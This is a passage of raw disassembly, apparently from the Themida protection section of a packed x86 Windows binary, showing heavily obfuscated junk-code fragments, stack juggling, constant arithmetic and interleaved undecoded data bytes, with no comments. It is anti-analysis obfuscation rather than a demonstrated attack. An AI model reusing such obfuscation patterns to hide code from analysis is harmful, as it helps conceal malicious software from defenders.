					; Themida_:loc_566EBBj
		push	dword ptr [edi+24h]
		push	edx
		jmp	loc_55FCB1
; ---------------------------------------------------------------------------

loc_56A337:				; CODE XREF: Themida_:0056D5F9j
		push	12BDh
		mov	[esp], ecx
		push	ebp
		jmp	loc_5589AD
; ---------------------------------------------------------------------------

loc_56A345:				; CODE XREF: Themida_:0056A5C1j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AB88
; ---------------------------------------------------------------------------

loc_56A353:				; CODE XREF: Themida_:0055E028j
					; Themida_:00563FD3j
		add	esp, 4
		sub	ebp, 537008B7h
		jmp	loc_56B136
; ---------------------------------------------------------------------------

loc_56A361:				; CODE XREF: Themida_:005566F8j
		jnb	loc_55805F
		jmp	loc_56A53C
; ---------------------------------------------------------------------------
		dd 4BA52h
		db 2 dup(0), 57h
; ---------------------------------------------------------------------------

loc_56A373:				; CODE XREF: Themida_:00563A51j
		push	eax
		jmp	loc_56C9C6
; ---------------------------------------------------------------------------

loc_56A379:				; CODE XREF: Themida_:0056CAE2j
		shr	ecx, 0
		or	eax, eax
		jz	loc_55E032
		push	eax
		jmp	loc_562A45
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 2C3359CDh,	0F51EE924h, 4B68FFFFh, 89000046h
		dd 0E668241Ch, 68000027h, 231Eh, 24048F54h, 4240481h, 0E9000000h
		dd 0FFFFC238h
; ---------------------------------------------------------------------------

loc_56A3BC:				; CODE XREF: Themida_:00568DDDj
		push	3831h
		jmp	loc_5686D9
; ---------------------------------------------------------------------------

loc_56A3C6:				; CODE XREF: Themida_:00567A05j
		sub	ecx, 121359A0h
		add	ecx, 0D87F2A7Eh
		mov	edi, ecx
		pop	ecx
		push	edi
		mov	edi, 0D714A59h
		shr	edi, 4
		add	edi, 3C05241Ch
		sub	esi, edi
		pop	edi
		add	esi, edi
		push	ebp
		mov	ebp, 3CDC38C1h
		add	esi, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_557A71
; ---------------------------------------------------------------------------
word_56A3FE	dw 77FFh		; DATA XREF: Themida_:0055622Co
		dd 0A32AE940h, 3489FFFFh, 4BE24h, 0F1010000h, 0FFFA4FE9h
		dd 2903B8FFh, 10579ECh,	18613D7h, 0C8758C1h, 60E95C24h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A42B:				; CODE XREF: Themida_:00557BF4j
		push	edi
		mov	edi, 1
		sub	ebp, edi
		pop	edi
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55E7D0
; ---------------------------------------------------------------------------

loc_56A43D:				; CODE XREF: Themida_:005633A4j
		pop	edi
		push	ecx
		mov	ecx, 7C942CA9h
		mov	edx, 0C08A9DC4h
		sub	edx, ecx
		jmp	loc_55FB97
; ---------------------------------------------------------------------------
		dd 1ECEC581h, 0C581057Fh, 399B4FA1h, 0E1BB8F0Fh, 0F581FFFEh
		dd 0D33038Ch, 2F83850Fh
		db 2 dup(0FFh),	56h
; ---------------------------------------------------------------------------

loc_56A46F:				; CODE XREF: Themida_:0055B576j
		add	esp, 4
		push	62B8h
		mov	[esp], edi
		mov	edi, 3CD65792h
		not	edi
		jmp	loc_565BA6
; ---------------------------------------------------------------------------

loc_56A489:				; CODE XREF: Themida_:0055FBC1j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	1D69h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, 116E6777h
		dec	ebp
		sub	ebp, 9E945E14h
		mov	eax, ebp
		jmp	loc_566DB4
; ---------------------------------------------------------------------------

loc_56A4B3:				; CODE XREF: Themida_:00565198j
		xor	eax, 513551C4h
		add	esi, eax
		pop	eax
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1FB718A4h, 0BEE9C101h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A4DF:				; CODE XREF: Themida_:00560BF0j
					; Themida_:005652E5j
		push	320506BCh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55FA94
; ---------------------------------------------------------------------------

loc_56A4F3:				; CODE XREF: Themida_:0055EB93j
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	3428h
		jmp	loc_567803
; ---------------------------------------------------------------------------

loc_56A528:				; CODE XREF: Themida_:0056A63Cj
		mov	ebx, 4
		add	eax, 680C2B70h
		add	eax, 68AB3FFFh
		jmp	loc_567FED
; ---------------------------------------------------------------------------

loc_56A53C:				; CODE XREF: Themida_:00562249j
					; Themida_:0056A367j
		mov	[esp], eax
		jmp	loc_5653D6
; ---------------------------------------------------------------------------

loc_56A544:				; CODE XREF: Themida_:00557EB1j
		or	ebp, 9B077AFh
		xor	ebp, 5717386Dh
		jmp	loc_55AF33
; ---------------------------------------------------------------------------

loc_56A555:				; CODE XREF: Themida_:0056C846j
		pop	esi
		jmp	loc_558235
; ---------------------------------------------------------------------------

loc_56A55B:				; CODE XREF: Themida_:00559029j
		sub	ebp, 0F86350EBh
		jmp	loc_5563DA
; ---------------------------------------------------------------------------

loc_56A566:				; CODE XREF: Themida_:00558872j
		xchg	eax, edi
		inc	eax
		jmp	loc_55E294
; ---------------------------------------------------------------------------

loc_56A56D:				; CODE XREF: Themida_:0055DD8Fj
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_562BB3
; ---------------------------------------------------------------------------

loc_56A57F:				; CODE XREF: Themida_:00566878j
		shr	edx, 2
		xor	edx, 2AB7551Fh
		sub	esp, 4
		jmp	loc_55E674
; ---------------------------------------------------------------------------

loc_56A590:				; CODE XREF: Themida_:005684E2j
		pop	edi
		jmp	loc_55AAAC
; ---------------------------------------------------------------------------

loc_56A596:				; CODE XREF: Themida_:005683B9j
		push	45F5h
		mov	[esp], ecx
		jmp	loc_55F065
; ---------------------------------------------------------------------------

loc_56A5A3:				; CODE XREF: Themida_:0056513Aj
		add	esp, 4
		mov	ecx, 0DA218078h
		add	ecx, edi
		jmp	loc_5572B4
; ---------------------------------------------------------------------------

loc_56A5B5:				; CODE XREF: Themida_:00558580j
					; Themida_:0055A23Ej
		sub	eax, ecx
		sub	eax, 4A562924h
		add	eax, 3D6A2196h
		jmp	loc_56A345
; ---------------------------------------------------------------------------

loc_56A5C6:				; CODE XREF: Themida_:00560103j
		jp	loc_567BA5
		jmp	loc_5629BC
; ---------------------------------------------------------------------------

loc_56A5D1:				; CODE XREF: Themida_:0055AA98j
		pop	esp
		push	edi
		jmp	loc_566BDC
; ---------------------------------------------------------------------------

loc_56A5D8:				; CODE XREF: Themida_:0055E366j
		mov	esp, [esp]
		add	dword ptr [esp], 43732895h
		sub	dword ptr [esp], 23546179h
		push	ebp
		mov	ebp, 454F4FAFh
		sub	dword ptr [esp+4], 4AEF3500h
		add	[esp+4], ebp
		jmp	loc_5689FF
; ---------------------------------------------------------------------------

loc_56A600:				; CODE XREF: Themida_:0055AC62j
		add	esp, 4
		push	ecx
		jmp	loc_5612C0
; ---------------------------------------------------------------------------

loc_56A609:				; CODE XREF: Themida_:00558B81j
		xor	ebp, 600800EDh
		add	ebx, ebp
		pop	ebp
		jmp	loc_569153
; ---------------------------------------------------------------------------

loc_56A617:				; CODE XREF: Themida_:0056A901j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559BDD
; ---------------------------------------------------------------------------

loc_56A627:				; CODE XREF: Themida_:00568955j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_56A528
; ---------------------------------------------------------------------------
		db 0BEh, 3Fh, 65h
		dd 81567580h, 5B17242Ch, 81590A22h, 225B17C1h, 24348B0Ah
		dd 2F47E957h, 32E9FFFFh
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A663:				; CODE XREF: Themida_:00569A6Ej
		sub	edx, ebx
		add	edx, 491D1098h
		add	edx, 70121988h
		pop	ebx
		jmp	loc_5647CE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 0E98104C4h, 265C1E23h, 0FFE38BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A689:				; CODE XREF: Themida_:0056BCD7j
		pop	ecx
		jmp	loc_568545
; ---------------------------------------------------------------------------

loc_56A68F:				; CODE XREF: Themida_:005571F4j
					; Themida_:00569541j
		add	esi, ecx
		pop	ecx
		mov	ebx, esi
		jmp	loc_56294B
; ---------------------------------------------------------------------------

loc_56A699:				; CODE XREF: Themida_:0055B5DEj
		mov	esi, ebp
		pop	ebp
		dec	esi
		add	esi, 0F25C952Ch
		sub	ebx, 51775163h
		add	ebx, esi
		add	ebx, 51775163h
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55C7F9
; ---------------------------------------------------------------------------

loc_56A6C3:				; CODE XREF: Themida_:0056C44Fj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_55F583
; ---------------------------------------------------------------------------

loc_56A6E3:				; CODE XREF: Themida_:0055D4ECj
		pop	edi
		pop	ebp
		jmp	loc_557D62
; ---------------------------------------------------------------------------

loc_56A6EA:				; CODE XREF: Themida_:005650E2j
		mov	ebx, 0FFFFFFFFh
		add	dword ptr [esp+4], 329B1CC5h
		jmp	loc_56D451
; ---------------------------------------------------------------------------

loc_56A6FC:				; CODE XREF: Themida_:0056AEB3j
		jp	loc_567FB8
		not	ebx
		inc	ebx
		jmp	loc_55CD2D
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 8B2434FFh, 0ADE92404h, 83FFFF0Fh, 48904ECh, 2474FF24h
		dd 2434FF04h, 0FF05DEE9h, 5DEA31FFh, 8B5AD601h,	0C481240Ch
		dd 4, 2BA52h, 0D6010000h, 27EAE9h, 4C48100h, 89000000h
		dd 0D3015EF2h, 8124148Bh, 4C4h,	241C3300h, 0E9241C31h
		dd 0FFFF5699h, 6866h, 0E9241C28h, 8F3h
; ---------------------------------------------------------------------------

loc_56A770:				; CODE XREF: Themida_:00568F6Cj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_568BC2
; ---------------------------------------------------------------------------
dword_56A77C	dd 9C241CF7h, 0FEBB62E9h ; DATA	XREF: Themida_:00556078o
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A785:				; CODE XREF: Themida_:00564D9Fj
		add	bl, al
		push	dx
		push	cx
		mov	cl, 47h
		push	ebx
		jmp	loc_55E7F6
; ---------------------------------------------------------------------------

loc_56A793:				; CODE XREF: Themida_:00557169j
					; Themida_:0055DF2Aj
		push	eax
		mov	al, 6Ch
		sub	al, 0BBh
		jmp	loc_564342
; ---------------------------------------------------------------------------

loc_56A79D:				; CODE XREF: Themida_:0055B917j
		mov	esi, 10AC3050h
		jmp	loc_56B938
; ---------------------------------------------------------------------------
		db 31h
		dd 0F7C631F0h, 0C597E9D0h, 0EC81FFFEh, 4, 0BA241489h, 4
		dd 4246C81h, 688F2FADh,	0FF5FC3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A7CD:				; CODE XREF: Themida_:00560ED1j
		mov	esp, [esp]
		jmp	loc_558FF0
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 0FFh
		dd 1279E9h, 0C7835D00h,	243C8704h, 0E953575Ch, 0FFFFD7EBh
; ---------------------------------------------------------------------------

loc_56A7EC:				; CODE XREF: Themida_:00557252j
		sub	cl, 55h
		jmp	loc_565787
; ---------------------------------------------------------------------------

loc_56A7F4:				; CODE XREF: Themida_:00561809j
		sub	ebx, 4B153F5Fh
		pop	ebp
		add	edx, ebx
		pop	ebx
		push	ecx
		push	4
		pop	ecx
		jmp	loc_55E408
; ---------------------------------------------------------------------------

loc_56A80A:				; CODE XREF: Themida_:005624B1j
		push	dword ptr [esp]
		pop	ecx
		push	38E0h
		mov	[esp], esi
		push	esi
		jmp	loc_55A2D9
; ---------------------------------------------------------------------------

loc_56A81C:				; CODE XREF: Themida_:005664FDj
		xchg	eax, edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	edx, 0CC6B0F0Bh
		jmp	loc_560304
; ---------------------------------------------------------------------------

loc_56A832:				; CODE XREF: Themida_:0055AD8Bj
		push	21D0h
		jmp	loc_5686A8
; ---------------------------------------------------------------------------
		dd 0C79DF181h, 0CB29E039h, 5BDF2959h, 7E68DF29h, 89000055h
		dd 0ED68242Ch, 8900002Bh, 7E9243Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A85F:				; CODE XREF: Themida_:0055BC7Ej
		sub	edi, 6F5257F4h
		jmp	loc_569BCA
; ---------------------------------------------------------------------------

loc_56A86A:				; CODE XREF: Themida_:0055792Ej
					; Themida_:0055CE88j
		mov	ebp, edx
		pop	edx
		jmp	loc_564A4B
; ---------------------------------------------------------------------------

loc_56A872:				; CODE XREF: Themida_:00567F45j
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55ADF6
; ---------------------------------------------------------------------------

loc_56A87E:				; CODE XREF: Themida_:0055EAA3j
		mov	ebx, 7CDC7D52h
		neg	ebx
		push	eax
		mov	eax, 6C7C5624h
		jmp	loc_561929
; ---------------------------------------------------------------------------

loc_56A890:				; CODE XREF: Themida_:0055ED9Cj
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_567C5E
; ---------------------------------------------------------------------------

loc_56A8A1:				; CODE XREF: Themida_:0055DEC3j
		mov	[esp], ebx
		push	4
		pop	ebx
		sub	edi, 526A1609h
		add	edi, ebx
		push	esi
		jmp	loc_55E29E
; ---------------------------------------------------------------------------

loc_56A8B8:				; CODE XREF: Themida_:0055AC7Fj
		mov	ebx, 201F1B1Ah
		not	ebx
		shr	ebx, 8
		jmp	loc_56B718
; ---------------------------------------------------------------------------
a_1Rh?		db '_1цRh+?',0
		align 10h
		dd 0FF6A44E9h
		db 0FFh
byte_56A8D5	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556100o
		dd 5EE95224h, 29FFFF87h, 2434FFC1h, 0FF3023E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A8E9:				; CODE XREF: Themida_:0055EB12j
		sub	dword ptr [esp], 1A6C4462h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56D2DB
; ---------------------------------------------------------------------------

loc_56A8FB:				; CODE XREF: Themida_:00569292j
		add	ebp, 1E6E51E4h
		jmp	loc_56A617
; ---------------------------------------------------------------------------

loc_56A906:				; CODE XREF: Themida_:0055BA56j
		pop	ecx
		shl	esi, 1
		push	ebx
		mov	ebx, 81D3ACC4h
		xor	esi, ebx
		jmp	loc_55BF10
; ---------------------------------------------------------------------------
		dw 505Bh
		dd 3636BE56h, 0F089166Bh, 0FFDA99E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A925:				; CODE XREF: Themida_:00564F2Dj
		movzx	eax, ax
		jmp	loc_55A98B
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 8
		dd 0D1FCEB81h, 0DA011E45h, 2414875Bh, 0FF16D5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A941:				; CODE XREF: Themida_:00562C2Bj
		sub	dword ptr [esp+4], 48A2236h
		add	[esp+4], edi
		add	dword ptr [esp+4], 48A2236h
		pop	edi
		jmp	loc_55650B
; ---------------------------------------------------------------------------

loc_56A95B:				; CODE XREF: Themida_:0055EB8Bj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56CED6
; ---------------------------------------------------------------------------

loc_56A974:				; CODE XREF: Themida_:0055F0F5j
		mov	bh, ch
		jmp	loc_565746
; ---------------------------------------------------------------------------

loc_56A97B:				; CODE XREF: Themida_:005649BCj
		add	edi, 50A2942h
		dec	edi
		shr	edi, 7
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6E7F553Dh
		and	edi, esi
		pop	esi
		sub	edi, 84FC047Bh
		jmp	loc_5582E9
; ---------------------------------------------------------------------------

loc_56A99E:				; CODE XREF: Themida_:005600EFj
		neg	ebx
		jle	loc_563633
		and	ebx, 7E8589Eh
		jmp	loc_5673BD
; ---------------------------------------------------------------------------

loc_56A9B1:				; CODE XREF: Themida_:00556A3Bj
		add	edi, 4
		jmp	loc_55CF02
; ---------------------------------------------------------------------------

loc_56A9BC:				; CODE XREF: Themida_:0055D630j
		mov	ecx, [esp]
		push	edx
		jmp	loc_560B7C
; ---------------------------------------------------------------------------

loc_56A9C5:				; CODE XREF: Themida_:00559F70j
		mov	edi, 25E8019Eh
		push	esi
		mov	esi, edi
		jmp	loc_56D694
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5FBCB924h, 0BF5779D4h, 760C05D5h, 0E902EFC1h, 0FFFF7DCFh
; ---------------------------------------------------------------------------

loc_56A9E8:				; CODE XREF: Themida_:0056695Dj
		xor	ebx, 41A636B8h
		pop	esi
		add	ecx, 703A1120h
		add	ecx, 32703F10h
		add	ecx, ebx
		sub	ecx, 32703F10h
		sub	ecx, 703A1120h
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_556CD0
; ---------------------------------------------------------------------------

loc_56AA25:				; CODE XREF: Themida_:0055F672j
		jmp	loc_55CE08
; ---------------------------------------------------------------------------

loc_56AA2A:				; CODE XREF: Themida_:0056ACB8j
		push	6EADh
		mov	[esp], ebp
		mov	ebp, 0FCAF2152h
		jmp	loc_569AE8
; ---------------------------------------------------------------------------

loc_56AA3C:				; CODE XREF: Themida_:loc_562F67j
		push	edi
		jmp	loc_569E57
; ---------------------------------------------------------------------------

loc_56AA42:				; CODE XREF: Themida_:0055D5BAj
		pop	edx
		jmp	loc_559EC6
; ---------------------------------------------------------------------------

loc_56AA48:				; CODE XREF: Themida_:005593E9j
		xor	ecx, 327741EAh
		neg	ecx
		sub	esp, 4
		mov	[esp], eax
		push	702Dh
		mov	[esp], edi
		push	619B229Fh
		pop	edi
		jmp	loc_56CAB7
; ---------------------------------------------------------------------------

loc_56AA69:				; CODE XREF: Themida_:005638F2j
		add	ebx, 3AC77CBAh
		add	ebx, 362022FDh
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56C454
; ---------------------------------------------------------------------------

loc_56AA85:				; CODE XREF: Themida_:0056ADEDj
		push	edx
		mov	edx, 9871F4Ah
		jmp	loc_56B835
; ---------------------------------------------------------------------------
		dd 5C6DF381h, 8D0F2F42h, 0FFFFB5D0h, 0FF72A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AAA1:				; CODE XREF: Themida_:005658F5j
		pop	ebx
		jmp	loc_562796
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C4h, 241C3124h, 0FFA045E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AAB5:				; CODE XREF: Themida_:0055CBA8j
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55C390
; ---------------------------------------------------------------------------

loc_56AACD:				; CODE XREF: Themida_:00569358j
		xor	edi, 3A715714h
		push	ecx
		mov	ecx, 73810606h
		add	ecx, 0E9702906h
		jmp	loc_563BF0
; ---------------------------------------------------------------------------

loc_56AAE4:				; CODE XREF: Themida_:00561571j
					; Themida_:00567E08j
		push	edx
		mov	dh, 0C3h
		xor	dh, 4Bh
		xor	dh, 77h
		push	eax
		mov	ah, 0C6h
		jmp	loc_56CFBA
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 5764E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AAFE:				; CODE XREF: Themida_:005642E7j
		add	edx, 4
		jmp	loc_556D9C
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFE9DCh, 5F2434FFh, 4C481h, 0F1890000h, 0C7BE565Eh
		dd 81670060h, 0E11D13E6h, 27EE8163h, 81511249h,	0C0C31E6h
		dd 81E6D12Ah, 0EE570ACEh, 89C6813Dh, 8130FDABh,	2428C2C1h
		dd 81F12920h, 2428C2E9h, 0F9015E20h, 180DE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AB56:				; CODE XREF: Themida_:00558AF2j
		push	edx
		push	eax
		mov	eax, 7A747C70h
		mov	edx, 0C67E0629h
		add	edx, eax
		pop	eax
		sub	ecx, edx
		jmp	loc_5595B9
; ---------------------------------------------------------------------------

loc_56AB6C:				; CODE XREF: Themida_:0055918Fj
		pop	ecx
		add	cl, bh
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_56C30F
; ---------------------------------------------------------------------------

loc_56AB7B:				; CODE XREF: Themida_:00559817j
		or	eax, 137E441Bh
		xor	eax, 541B033Ch
		sub	eax, 4809372Ch
		xor	ebx, eax
		pop	eax
		add	esi, ebx
		jmp	loc_556E9C
; ---------------------------------------------------------------------------

loc_56AB94:				; CODE XREF: Themida_:0056569Aj
		add	edx, edi
		sub	edx, 1FF568C9h
		pop	edi
		sub	esp, 4
		jmp	loc_55F2F9
; ---------------------------------------------------------------------------

loc_56ABA5:				; CODE XREF: Themida_:005655A8j
		mov	ebx, 7DD15608h
		dec	ebx
		add	ebx, 75EB4CA0h
		shl	ebx, 8
		and	ebx, 38FC7745h
		sub	esp, 4
		jmp	loc_556691
; ---------------------------------------------------------------------------

loc_56ABC2:				; CODE XREF: Themida_:0056608Bj
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		and	ebx, 42375EF9h
		jmp	loc_5590C3
; ---------------------------------------------------------------------------
byte_56ABEB	db 0FFh			; DATA XREF: Themida_:00556294o
		dd 45E93C77h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ABF3:				; CODE XREF: Themida_:0055B76Aj
		or	ebx, 491A468Ch
		jno	loc_56C409
		shl	ebx, 2
		or	ebx, 65C879CAh
		add	ebx, 92020006h

loc_56AC0E:				; DATA XREF: Themida_:005561FCo
		mov	ecx, [esp]
		push	3CDEh
		jmp	loc_55948B
; ---------------------------------------------------------------------------

loc_56AC1B:				; CODE XREF: Themida_:0055E1C9j
		mov	edx, 3A33080Eh
		add	edx, 34F052B9h
		dec	edx
		shl	edx, 4
		jmp	loc_56BD92
; ---------------------------------------------------------------------------

loc_56AC2F:				; CODE XREF: Themida_:00569B6Fj
		push	47A1h
		mov	[esp], edx
		push	1C77h
		mov	[esp], esp
		jmp	loc_55B56B
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF3148h
; ---------------------------------------------------------------------------

loc_56AC4C:				; CODE XREF: Themida_:0055969Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mul	cx
		push	small 68CFh
		jmp	loc_564545
; ---------------------------------------------------------------------------

loc_56AC5E:				; CODE XREF: Themida_:005582DBj
		shr	edx, 7
		sub	edx, offset dword_4F1E38
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0D997D32h
		mov	edi, ebx
		pop	ebx
		push	edi
		sub	dword ptr [esp], 55143997h
		jmp	loc_56588F
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 8324348Bh, 0EB8104C4h, 4, 0E9241C33h, 0FFFF1482h
; ---------------------------------------------------------------------------

loc_56AC9C:				; CODE XREF: Themida_:0056903Dj
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56ACA5:				; CODE XREF: Themida_:00563C05j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5617E4
; ---------------------------------------------------------------------------

loc_56ACB1:				; CODE XREF: Themida_:00561E7Cj
		xor	ebx, 27D01445h
		dec	ebx
		jmp	loc_56AA2A
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 8B243C87h, 56E92424h, 52FFFF3Bh, 0FF984BE9h,	81C601FFh
		dd 0A814EBC6h, 0EE815856h, 4, 5C243487h, 54243489h, 468525Eh
		dd 8B000000h, 0C4832414h, 6CC68104h, 14F9431h, 4EC81D6h
		dd 89000000h, 4DE9240Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AD0B:				; CODE XREF: Themida_:00556870j
		add	esi, 2D8D54D4h
		add	esi, 381A69A3h
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	eax
		mov	eax, 70CD05BEh
		push	edx
		mov	edx, 75CF175Eh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, 6E9D1006h
		jmp	loc_55BA22
; ---------------------------------------------------------------------------

loc_56AD4E:				; CODE XREF: Themida_:005607B5j
		sub	edx, 30BC7975h
		jmp	loc_5625AF
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 0AA549A05h, 2DD82940h, 40AA549Ah, 0FEC4EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AD6D:				; CODE XREF: Themida_:0056AFCBj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_563F46
; ---------------------------------------------------------------------------

loc_56AD7E:				; CODE XREF: Themida_:00568D11j
		push	esi
		jmp	loc_556C9C
; ---------------------------------------------------------------------------

loc_56AD84:				; CODE XREF: Themida_:0055D226j
		pop	esi
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56AD8A:				; CODE XREF: Themida_:005665C6j
		or	ebp, 4BC17662h
		jp	loc_562580
		shl	ebp, 2
		jz	loc_5564FE
		xor	ebp, 2FBEFDBCh

loc_56ADA5:				; CODE XREF: Themida_:00560380j
		pop	esp
		xor	ebx, esi
		pop	esi
		add	ebx, 3B65A92h
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		jmp	loc_55B16E
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0FFFECEA7h
; ---------------------------------------------------------------------------

loc_56ADD4:				; CODE XREF: Themida_:0055A6C2j
		push	ebp
		push	ecx
		jmp	loc_5580D1
; ---------------------------------------------------------------------------
		db 0B9h
		dd 591C4AF9h, 0F9E9CF01h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56ADE7:				; CODE XREF: Themida_:00566BAAj
		mov	esi, ebp
		push	esi
		pop	ecx
		pop	esi
		pop	ebp
		jmp	loc_56AA85
; ---------------------------------------------------------------------------

loc_56ADF2:				; CODE XREF: Themida_:005564A1j
		dec	esi
		jp	loc_55F8F6
		or	esi, 51A20675h
		jl	loc_5568D5
		add	esi, 0FB7F574Bh
		add	esi, 84CEA1BCh
		jmp	loc_562405
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 236D43C5h, 8324048Bh, 2C8704C4h, 34895C24h, 39346824h
		dd 30E90000h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56AE33:				; CODE XREF: Themida_:0056C149j
		mov	dh, 2Ah
		jmp	loc_565552
; ---------------------------------------------------------------------------

loc_56AE3A:				; CODE XREF: Themida_:005582C8j
		mov	[esp], eax
		mov	eax, 50EF4918h
		add	eax, 0EA1210A1h
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		jmp	loc_556DEC
; ---------------------------------------------------------------------------

loc_56AE52:				; CODE XREF: Themida_:00556AC5j
		push	edx
		push	ecx
		pop	edx
		pop	ecx
		not	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		add	edx, 95C83EB4h
		add	edi, edx
		pop	edx
		inc	edi
		xor	edi, 0FF8E0B2Ch
		add	ebp, edi
		pop	edi
		jmp	loc_56372E
; ---------------------------------------------------------------------------

loc_56AE76:				; CODE XREF: Themida_:00569D28j
		add	ebp, 4
		push	ebx
		jmp	loc_567CB2
; ---------------------------------------------------------------------------

loc_56AE82:				; CODE XREF: Themida_:0055E7CBj
		pop	edx
		jmp	loc_55A444
; ---------------------------------------------------------------------------
		dd 33240C31h, 248B240Ch, 4EC8124h, 89000000h, 8152241Ch
		dd 4ECh, 241C8900h, 0FA88C788h,	0FF2E23E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AEAD:				; CODE XREF: Themida_:0055CD16j
					; Themida_:00566BCCj
		xor	ebx, 7E630006h
		jmp	loc_56A6FC
; ---------------------------------------------------------------------------

loc_56AEB8:				; CODE XREF: Themida_:0056425Dj
		neg	esi
		jp	loc_557E4F
		push	ebx
		mov	ebx, 5E734638h
		jmp	loc_566090
; ---------------------------------------------------------------------------

loc_56AECB:				; CODE XREF: Themida_:00556B0Cj
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, dh
		mov	ch, bl
